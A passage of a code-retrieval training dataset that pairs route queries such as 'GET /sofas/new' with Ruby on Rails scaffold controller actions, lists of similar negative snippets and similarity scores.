"0.5974545",
"0.59546286",
"0.59237087",
"0.58862484",
"0.5870886",
"0.5868915",
"0.58402747",
"0.5825676",
"0.5790693",
"0.5789211",
"0.5776374",
"0.5770388",
"0.5770388",
"0.5742701",
"0.5742701",
"0.5742701",
"0.5742701",
"0.5740957",
"0.5739505"
] | 0.7002338 | 10 |
GET /sofas/1 GET /sofas/1.xml | def show
#@sofa = Sofa.find(params[:title])
@sofa = Sofa.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @sofa }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @sofa = Sofa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sofa }\n end\n end",
"def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitio }\n end\n end",
"def show\n @nossos_servico = NossosServico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def show\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tso.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end",
"def show\n @silo = Silo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @silo }\n end\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def show\n @st_pi = StPi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @st_pi }\n end\n end",
"def show\n @solicitation = Solicitation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @solicitation }\n end\n end",
"def show\n @feria2010observacion = Feria2010observacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end",
"def show\n @estacion = Estacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estacion }\n end\n end",
"def show\n @sa = Sa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sa }\n end\n end",
"def show\n @tservicio = Tservicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tservicio }\n end\n end",
"def index\n @st_pis = StPi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @st_pis }\n end\n end",
"def show\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagio }\n end\n end",
"def by_saison\n @saison = Saison.find_by_year(params[:id])\n respond_to do |format|\n format.xml\n end\n end",
"def index\n @feria2010observaciones = Feria2010observacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2010observaciones }\n end\n end",
"def show\n @estatu = Estatu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estatu }\n end\n end",
"def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end",
"def show\n @senhas = Senha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @senhas }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def index\n @solicitudes = Solicitud.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @solicitudes }\n end\n end",
"def show\n @st_ipi = StIpi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @st_ipi }\n end\n end",
"def show\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cso }\n end\n end",
"def show\n @software = Software.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def show\n @software = Software.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def show\n @estagiarios = Estagiario.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end",
"def show\n @asistencia = Asistencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asistencia }\n end\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def show\n @services_charger = ServicesCharger.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @services_charger }\n end\n end",
"def show\n @page_id = \"services\"\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def show\n @spiel = Spiel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spiel }\n end\n end",
"def show\n @segmento = Segmento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @segmento }\n end\n end",
"def show\n @serie = Serie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @serie }\n end\n end",
"def show\n @sti = Sti.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sti }\n end\n end",
"def show\n @situacoes_juridica = SituacoesJuridica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @situacoes_juridica }\n end\n end",
"def show\n @strelki = Strelki.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @strelki }\n end\n end",
"def show\n @analisis = Analisis.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @analisis }\n end\n end",
"def show\n @archivospazysalvo = Archivospazysalvo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @archivospazysalvo }\n end\n end",
"def show\n @bus_service = BusService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bus_service }\n end\n end",
"def show\n @os_type = OsType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @os_type }\n end\n end",
"def show\n @lsrs_soildata = LsrsSoil.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lsrs_soildata }\n end\n end",
"def show\n @tiposproceso = Tiposproceso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tiposproceso }\n end\n end",
"def show\n @socioeconomic_ocupation = SocioeconomicOcupation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @socioeconomic_ocupation }\n end\n end",
"def show\n @sim_staff = SimStaff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sim_staff }\n end\n end",
"def index\n @st_ipis = StIpi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @st_ipis }\n end\n end",
"def show\n @ss_type = SsType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ss_type }\n end\n end",
"def show\n @station = Station.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @station }\n end\n end",
"def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end",
"def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estudiante }\n end\n end",
"def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estudiante }\n end\n end",
"def show\n @stoppage = Stoppage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stoppage }\n end\n end",
"def show\n @traffic = Traffic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @traffic }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def show\n @valor_sistema = ValorSistema.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @valor_sistema }\n end\n end",
"def show\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aviso }\n end\n end",
"def show\n @polling_station = PollingStation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @polling_station }\n end\n end",
"def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def show\n @sitelink = Sitelink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitelink }\n end\n end",
"def create\n @sofa = Sofa.new(params[:sofa])\n\n respond_to do |format|\n if @sofa.save\n flash[:notice] = 'Sofa was successfully created.'\n format.html { redirect_to(@sofa) }\n format.xml { render :xml => @sofa, :status => :created, :location => @sofa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @spielbegegnung = Spielbegegnung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spielbegegnung }\n end\n end",
"def show\n @sprint_diario = SprintDiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sprint_diario }\n end\n end",
"def show\n @simperson = Simperson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @simperson }\n end\n end",
"def index\n @softwares = Software.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @softwares }\n end\n end",
"def show\n @szene = Szene.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @szene }\n end\n end",
"def show\n @spouse = Spouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spouse }\n end\n end",
"def index\n @soaps = Soap.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"def show\n @soft = Soft.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @soft }\n end\n end",
"def show\n @periodista = Periodista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @periodista }\n end\n end",
"def show\n @visaapp = Visaapp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @visaapp }\n end\n end",
"def show\n @wro = Wro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wro }\n end\n end",
"def show\n @sitetype = Sitetype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitetype }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def show\n @service_version = ServiceVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"def show\n @seccion = Seccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @seccion }\n end\n end",
"def show\n @microsilica = Microsilica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @microsilica }\n end\n end",
"def show\n @statusproject = Statusproject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @statusproject }\n end\n end",
"def show\n @lookup_scantask = LookupScantask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end",
"def show\n @ambito = Ambito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ambito }\n end\n end",
"def show\n @web_info = WebInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @web_info }\n end\n end",
"def show\n @viviendasusadasestado = Viviendasusadasestado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @viviendasusadasestado }\n end\n end",
"def show\n @sm = Sm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sm }\n end\n end",
"def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pessoa }\n end\n end",
"def show\n @aplicacion = Aplicacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end",
"def show\n @simthing = Simthing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @simthing }\n end\n end",
"def index\n @lookup_scantasks = LookupScantask.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_scantasks }\n end\n end",
"def show\n @ficha_tematica = FichaTematica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ficha_tematica }\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def show\n @factory = Factory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @factory }\n end\n end",
"def show\n @service_length = ServiceLength.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_length }\n end\n end",
"def show\r\n @transfers = Transfer.find(params[:id])\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @transfers.to_xml(:dasherize => false) }\r\n end\r\n end",
"def show\n @service_log = ServiceLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_log }\n end\n end",
"def show\n @spit = Spit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spit }\n end\n end",
"def show\n @helibasis = Helibase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @helibasis }\n end\n end",
"def index\n @cuentas = Cuenta.all\n\n @cadena = getcuentasxml\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cadena }\n end\n end",
"def index\n\n @soaps = Soap.find(:all)\n @user = User.find(:first)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @purchase }\n end\n end",
"def index\n @asistencias = Asistencia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @asistencias }\n end\n end"
] | [
"0.6376844",
"0.63095266",
"0.62404203",
"0.6221776",
"0.6131507",
"0.6102225",
"0.603984",
"0.5965827",
"0.59569216",
"0.59509015",
"0.59358567",
"0.5925079",
"0.59244275",
"0.5924425",
"0.59165573",
"0.5916318",
"0.5915587",
"0.59120697",
"0.5907471",
"0.5906915",
"0.59050304",
"0.5894431",
"0.5891308",
"0.5870202",
"0.5870202",
"0.5852266",
"0.58320165",
"0.5824997",
"0.5809301",
"0.58067846",
"0.58017707",
"0.5799907",
"0.5785251",
"0.5780098",
"0.57798535",
"0.5773437",
"0.5757228",
"0.5741592",
"0.57359666",
"0.5733635",
"0.5732502",
"0.57278544",
"0.5713692",
"0.5705995",
"0.5704052",
"0.5687773",
"0.5685343",
"0.56823283",
"0.56822395",
"0.5677679",
"0.5677138",
"0.5676523",
"0.5670483",
"0.565391",
"0.56502056",
"0.56462395",
"0.56432307",
"0.56424254",
"0.56424254",
"0.5640726",
"0.56364334",
"0.5634712",
"0.56335515",
"0.56312746",
"0.5627598",
"0.5615716",
"0.560916",
"0.5604252",
"0.5599658",
"0.5595557",
"0.559191",
"0.5587415",
"0.5584172",
"0.55824304",
"0.55805975",
"0.55805975",
"0.5579337",
"0.5579104",
"0.55779696",
"0.55778843",
"0.55773413",
"0.5575161",
"0.55721384",
"0.55707556",
"0.5568758",
"0.55677336",
"0.55664366",
"0.5565175",
"0.556427",
"0.55603",
"0.55599076",
"0.5552782",
"0.5551071",
"0.55492085",
"0.5548381",
"0.5542257",
"0.5541935",
"0.5541798",
"0.5541735",
"0.5540573"
] | 0.65925205 | 0 |
GET /sofas/new GET /sofas/new.xml | def new
@sofa = Sofa.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @sofa }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end",
"def new\n @nossos_servico = NossosServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @solicitud = Solicitud.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud }\n end\n end",
"def new\n @silo = Silo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @silo }\n end\n end",
"def new\n @st_pi = StPi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_pi }\n end\n end",
"def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiel }\n end\n end",
"def new\n @sitio=Sitio.find(params[:id])\n @foro = @sitio.foros.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @foro }\n end\n end",
"def new\n @estatu = Estatu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estatu }\n end\n end",
"def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"def new\n @senhas = Senha.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @senhas }\n end\n end",
"def new\n @estacion = Estacion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estacion }\n end\n end",
"def new\n @tservicio = Tservicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tservicio }\n end\n end",
"def create\n @sofa = Sofa.new(params[:sofa])\n\n respond_to do |format|\n if @sofa.save\n flash[:notice] = 'Sofa was successfully created.'\n format.html { redirect_to(@sofa) }\n format.xml { render :xml => @sofa, :status => :created, :location => @sofa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end",
"def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end",
"def new\n @feria2010observacion = Feria2010observacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end",
"def new\n @estagio = Estagio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagio }\n end\n end",
"def new\n @periodista = Periodista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @periodista }\n end\n end",
"def new\n @asistencia = Asistencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asistencia }\n end\n end",
"def new\n @st_ipi = StIpi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_ipi }\n end\n end",
"def new\n @page_id = \"services\"\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @sti = Sti.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sti }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @aviso = Aviso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aviso }\n end\n end",
"def new\n @serie = Serie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @serie }\n end\n end",
"def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end",
"def new\n @spielbegegnung = Spielbegegnung.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spielbegegnung }\n end\n end",
"def new\n @produto = ProdutoSimples.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @produto }\n end\n end",
"def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"def new\n @tiposproceso = Tiposproceso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tiposproceso }\n end\n end",
"def new\n @strelki = Strelki.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @strelki }\n end\n end",
"def new\n @via = Via.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @via }\n end\n end",
"def new\n @peca = Peca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peca }\n end\n end",
"def new\n @situacoes_juridica = SituacoesJuridica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @situacoes_juridica }\n end\n end",
"def new\n @vestimenta = Vestimenta.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vestimenta }\n end\n end",
"def new\n @sitio = Sitio.new\n @categorias = Categoria.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sitio }\n end\n end",
"def new\n @segmento = Segmento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @segmento }\n end\n end",
"def new\n @station = Station.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @station }\n end\n end",
"def new\n @proceso = Proceso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proceso }\n end\n end",
"def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end",
"def new\n @ss_type = SsType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ss_type }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def new\n @aplicacion = Aplicacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end",
"def new\n @archivospazysalvo = Archivospazysalvo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @archivospazysalvo }\n end\n end",
"def new\n @atest = Atest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atest }\n end\n end",
"def new\n @simperson = Simperson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simperson }\n end\n end",
"def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sm }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end",
"def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def new\n @software = Software.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software }\n end\n end",
"def new\n @savings = Savings.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @savings }\n end\n end",
"def new\n @sprint_diario = SprintDiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint_diario }\n end\n end",
"def new\n @patrimonio = Patrimonio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end",
"def new\n @curso = Curso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @curso }\n end\n end",
"def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end",
"def new\n $flaggravaprof = 1\n @temposervico = TempoServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @temposervico }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end",
"def new\n @os_type = OsType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @os_type }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @estagiarios = Estagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @polling_station = PollingStation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polling_station }\n end\n end",
"def new\n @inventario = Inventario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inventario }\n end\n end",
"def new\n @soft = Soft.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @soft }\n end\n end",
"def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end",
"def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end",
"def new\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end",
"def new\n @spit = Spit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spit }\n end\n end",
"def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"def new\n @plantilla = Plantilla.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plantilla }\n end\n end",
"def new\n @wro = Wro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wro }\n end\n end",
"def new\n @noami = Noami.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noami }\n end\n end",
"def new\n @ponto = Ponto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ponto }\n end\n end",
"def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end",
"def new\n @webextra = Webextra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @webextra }\n end\n end",
"def new\n @estudiante = Estudiante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estudiante }\n end\n end",
"def new\n @asambleista = Asambleista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asambleista }\n end\n end",
"def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end",
"def new\n @services_charger = ServicesCharger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @services_charger }\n end\n end",
"def new\n @seta = Seta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seta }\n end\n end",
